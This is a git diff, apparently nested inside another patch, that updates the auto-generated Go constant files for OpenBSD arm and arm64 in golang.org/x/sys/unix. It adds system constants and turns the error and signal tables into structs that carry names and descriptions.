--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
--
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs -- _const.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- _const.go
-+
- package unix
-
- import "syscall"
-@@ -147,6 +147,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +158,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -441,6 +444,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -859,6 +863,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,10 +881,11 @@ const (
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
- MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
- MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x3ff7
-+ MAP_FLAGMASK = 0xfff7
- MAP_HASSEMAPHORE = 0x0
- MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-@@ -888,9 +897,36 @@ const (
- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-+ MAP_STACK = 0x4000
- MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
-@@ -913,6 +949,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1213,6 +1250,34 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFLUSH = 0x3
- TCOFLUSH = 0x2
-@@ -1455,132 +1520,140 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ELAST", "not supported"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-similarity index 76%
-copy from vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-index 1758ecca..1792d3f1 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,openbsd
-+// +build arm64,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -45,6 +45,7 @@ const (
- AF_SNA = 0xb
- AF_UNIX = 0x1
- AF_UNSPEC = 0x0
-+ ALTWERASE = 0x200
- ARPHRD_ETHER = 0x1
- ARPHRD_FRELAY = 0xf
- ARPHRD_IEEE1394 = 0x18
-@@ -107,6 +108,9 @@ const (
- BPF_DIRECTION_IN = 0x1
- BPF_DIRECTION_OUT = 0x2
- BPF_DIV = 0x30
-+ BPF_FILDROP_CAPTURE = 0x1
-+ BPF_FILDROP_DROP = 0x2
-+ BPF_FILDROP_PASS = 0x0
- BPF_H = 0x8
- BPF_IMM = 0x0
- BPF_IND = 0x40
-@@ -146,7 +150,14 @@ const (
- BRKINT = 0x2
- CFLUSH = 0xf
- CLOCAL = 0x8000
-+ CLOCK_BOOTTIME = 0x6
-+ CLOCK_MONOTONIC = 0x3
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_THREAD_CPUTIME_ID = 0x4
-+ CLOCK_UPTIME = 0x5
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +168,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -175,6 +188,7 @@ const (
- DLT_LOOP = 0xc
- DLT_MPLS = 0xdb
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x12
- DLT_PPP = 0x9
-@@ -185,6 +199,23 @@ const (
- DLT_RAW = 0xe
- DLT_SLIP = 0x8
- DLT_SLIP_BSDOS = 0xf
-+ DLT_USBPCAP = 0xf9
-+ DLT_USER0 = 0x93
-+ DLT_USER1 = 0x94
-+ DLT_USER10 = 0x9d
-+ DLT_USER11 = 0x9e
-+ DLT_USER12 = 0x9f
-+ DLT_USER13 = 0xa0
-+ DLT_USER14 = 0xa1
-+ DLT_USER15 = 0xa2
-+ DLT_USER2 = 0x95
-+ DLT_USER3 = 0x96
-+ DLT_USER4 = 0x97
-+ DLT_USER5 = 0x98
-+ DLT_USER6 = 0x99
-+ DLT_USER7 = 0x9a
-+ DLT_USER8 = 0x9b
-+ DLT_USER9 = 0x9c
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -324,6 +355,7 @@ const (
- ETHERTYPE_OS9NET = 0x7009
- ETHERTYPE_PACER = 0x80c6
- ETHERTYPE_PAE = 0x888e
-+ ETHERTYPE_PBB = 0x88e7
- ETHERTYPE_PCS = 0x4242
- ETHERTYPE_PLANNING = 0x8044
- ETHERTYPE_PPP = 0x880b
-@@ -398,27 +430,38 @@ const (
- ETHER_CRC_POLY_LE = 0xedb88320
- ETHER_HDR_LEN = 0xe
- ETHER_MAX_DIX_LEN = 0x600
-+ ETHER_MAX_HARDMTU_LEN = 0xff9b
- ETHER_MAX_LEN = 0x5ee
- ETHER_MIN_LEN = 0x40
- ETHER_TYPE_LEN = 0x2
- ETHER_VLAN_ENCAP_LEN = 0x4
- EVFILT_AIO = -0x3
-+ EVFILT_DEVICE = -0x8
- EVFILT_PROC = -0x5
- EVFILT_READ = -0x1
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0x7
-+ EVFILT_SYSCOUNT = 0x8
- EVFILT_TIMER = -0x7
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVL_ENCAPLEN = 0x4
-+ EVL_PRIO_BITS = 0xd
-+ EVL_PRIO_MAX = 0x7
-+ EVL_VLID_MASK = 0xfff
-+ EVL_VLID_MAX = 0xffe
-+ EVL_VLID_MIN = 0x1
-+ EVL_VLID_NULL = 0x0
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
- EV_DISABLE = 0x8
-+ EV_DISPATCH = 0x80
- EV_ENABLE = 0x4
- EV_EOF = 0x8000
- EV_ERROR = 0x4000
- EV_FLAG1 = 0x2000
- EV_ONESHOT = 0x10
-+ EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
- EXTB = 0x9600
-@@ -432,6 +475,7 @@ const (
- F_GETFL = 0x3
- F_GETLK = 0x7
- F_GETOWN = 0x5
-+ F_ISATTY = 0xb
- F_OK = 0x0
- F_RDLCK = 0x1
- F_SETFD = 0x2
-@@ -442,13 +486,13 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-- IFA_ROUTE = 0x1
- IFF_ALLMULTI = 0x200
- IFF_BROADCAST = 0x2
- IFF_CANTCHANGE = 0x8e52
-@@ -459,12 +503,12 @@ const (
- IFF_LOOPBACK = 0x8
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-- IFF_NOTRAILERS = 0x20
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PROMISC = 0x100
- IFF_RUNNING = 0x40
- IFF_SIMPLEX = 0x800
-+ IFF_STATICARP = 0x20
- IFF_UP = 0x1
- IFNAMSIZ = 0x10
- IFT_1822 = 0x2
-@@ -593,6 +637,7 @@ const (
- IFT_LINEGROUP = 0xd2
- IFT_LOCALTALK = 0x2a
- IFT_LOOP = 0x18
-+ IFT_MBIM = 0xfa
- IFT_MEDIAMAILOVERIP = 0x8b
- IFT_MFSIGLINK = 0xa7
- IFT_MIOX25 = 0x26
-@@ -717,8 +762,6 @@ const (
- IPPROTO_AH = 0x33
- IPPROTO_CARP = 0x70
- IPPROTO_DIVERT = 0x102
-- IPPROTO_DIVERT_INIT = 0x2
-- IPPROTO_DIVERT_RESP = 0x1
- IPPROTO_DONE = 0x101
- IPPROTO_DSTOPTS = 0x3c
- IPPROTO_EGP = 0x8
-@@ -775,6 +818,7 @@ const (
- IPV6_LEAVE_GROUP = 0xd
- IPV6_MAXHLIM = 0xff
- IPV6_MAXPACKET = 0xffff
-+ IPV6_MINHOPCOUNT = 0x41
- IPV6_MMTU = 0x500
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
-@@ -814,12 +858,12 @@ const (
- IP_DEFAULT_MULTICAST_LOOP = 0x1
- IP_DEFAULT_MULTICAST_TTL = 0x1
- IP_DF = 0x4000
-- IP_DIVERTFL = 0x1022
- IP_DROP_MEMBERSHIP = 0xd
- IP_ESP_NETWORK_LEVEL = 0x16
- IP_ESP_TRANS_LEVEL = 0x15
- IP_HDRINCL = 0x2
- IP_IPCOMP_LEVEL = 0x1d
-+ IP_IPDEFTTL = 0x25
- IP_IPSECFLOWINFO = 0x24
- IP_IPSEC_LOCAL_AUTH = 0x1b
- IP_IPSEC_LOCAL_CRED = 0x19
-@@ -853,13 +897,19 @@ const (
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
- IP_RTABLE = 0x1021
-+ IP_SENDSRCADDR = 0x7
- IP_TOS = 0x3
- IP_TTL = 0x4
- ISIG = 0x80
- ISTRIP = 0x20
-+ IUCLC = 0x1000
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,25 +923,58 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
-- MAP_NOEXTEND = 0x100
-- MAP_NORESERVE = 0x40
-+ MAP_INHERIT_ZERO = 0x3
-+ MAP_NOEXTEND = 0x0
-+ MAP_NORESERVE = 0x0
- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x20
-+ MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOPERM = 0x20
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_STALLED = 0x100000
-+ MNT_SWAPPABLE = 0x200000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
-+ MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
- MSG_DONTWAIT = 0x80
-@@ -909,11 +992,15 @@ const (
- NET_RT_DUMP = 0x1
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
-- NET_RT_MAXID = 0x6
-+ NET_RT_IFNAMES = 0x6
-+ NET_RT_MAXID = 0x7
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
-+ NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-+ NOTE_CHANGE = 0x1
- NOTE_CHILD = 0x4
- NOTE_DELETE = 0x1
- NOTE_EOF = 0x2
-@@ -932,11 +1019,13 @@ const (
- NOTE_TRUNCATE = 0x80
- NOTE_WRITE = 0x2
- OCRNL = 0x10
-+ OLCUC = 0x20
- ONLCR = 0x2
- ONLRET = 0x80
- ONOCR = 0x40
- ONOEOT = 0x8
- OPOST = 0x1
-+ OXTABS = 0x4
- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
-@@ -974,23 +1063,32 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-+ RTAX_BFD = 0xb
- RTAX_BRD = 0x7
-+ RTAX_DNS = 0xc
- RTAX_DST = 0x0
- RTAX_GATEWAY = 0x1
- RTAX_GENMASK = 0x3
- RTAX_IFA = 0x5
- RTAX_IFP = 0x4
- RTAX_LABEL = 0xa
-- RTAX_MAX = 0xb
-+ RTAX_MAX = 0xf
- RTAX_NETMASK = 0x2
-+ RTAX_SEARCH = 0xe
- RTAX_SRC = 0x8
- RTAX_SRCMASK = 0x9
-+ RTAX_STATIC = 0xd
- RTA_AUTHOR = 0x40
-+ RTA_BFD = 0x800
- RTA_BRD = 0x80
-+ RTA_DNS = 0x1000
- RTA_DST = 0x1
- RTA_GATEWAY = 0x2
- RTA_GENMASK = 0x8
-@@ -998,46 +1096,54 @@ const (
- RTA_IFP = 0x10
- RTA_LABEL = 0x400
- RTA_NETMASK = 0x4
-+ RTA_SEARCH = 0x4000
- RTA_SRC = 0x100
- RTA_SRCMASK = 0x200
-+ RTA_STATIC = 0x2000
- RTF_ANNOUNCE = 0x4000
-+ RTF_BFD = 0x1000000
- RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_CACHED = 0x20000
- RTF_CLONED = 0x10000
- RTF_CLONING = 0x100
-+ RTF_CONNECTED = 0x800000
- RTF_DONE = 0x40
- RTF_DYNAMIC = 0x10
-- RTF_FMASK = 0x10f808
-+ RTF_FMASK = 0x110fc08
- RTF_GATEWAY = 0x2
- RTF_HOST = 0x4
- RTF_LLINFO = 0x400
-- RTF_MASK = 0x80
-+ RTF_LOCAL = 0x200000
- RTF_MODIFIED = 0x20
- RTF_MPATH = 0x40000
- RTF_MPLS = 0x100000
-+ RTF_MULTICAST = 0x200
- RTF_PERMANENT_ARP = 0x2000
- RTF_PROTO1 = 0x8000
- RTF_PROTO2 = 0x4000
- RTF_PROTO3 = 0x2000
- RTF_REJECT = 0x8
-- RTF_SOURCE = 0x20000
- RTF_STATIC = 0x800
-- RTF_TUNNEL = 0x100000
- RTF_UP = 0x1
- RTF_USETRAILERS = 0x8000
-- RTF_XRESOLVE = 0x200
-+ RTM_80211INFO = 0x15
- RTM_ADD = 0x1
-+ RTM_BFD = 0x12
- RTM_CHANGE = 0x3
-+ RTM_CHGADDRATTR = 0x14
- RTM_DELADDR = 0xd
- RTM_DELETE = 0x2
- RTM_DESYNC = 0x10
- RTM_GET = 0x4
- RTM_IFANNOUNCE = 0xf
- RTM_IFINFO = 0xe
-- RTM_LOCK = 0x8
-+ RTM_INVALIDATE = 0x11
- RTM_LOSING = 0x5
- RTM_MAXSIZE = 0x800
- RTM_MISS = 0x7
- RTM_NEWADDR = 0xc
-+ RTM_PROPOSAL = 0x13
- RTM_REDIRECT = 0x6
- RTM_RESOLVE = 0xb
- RTM_RTTUNIT = 0xf4240
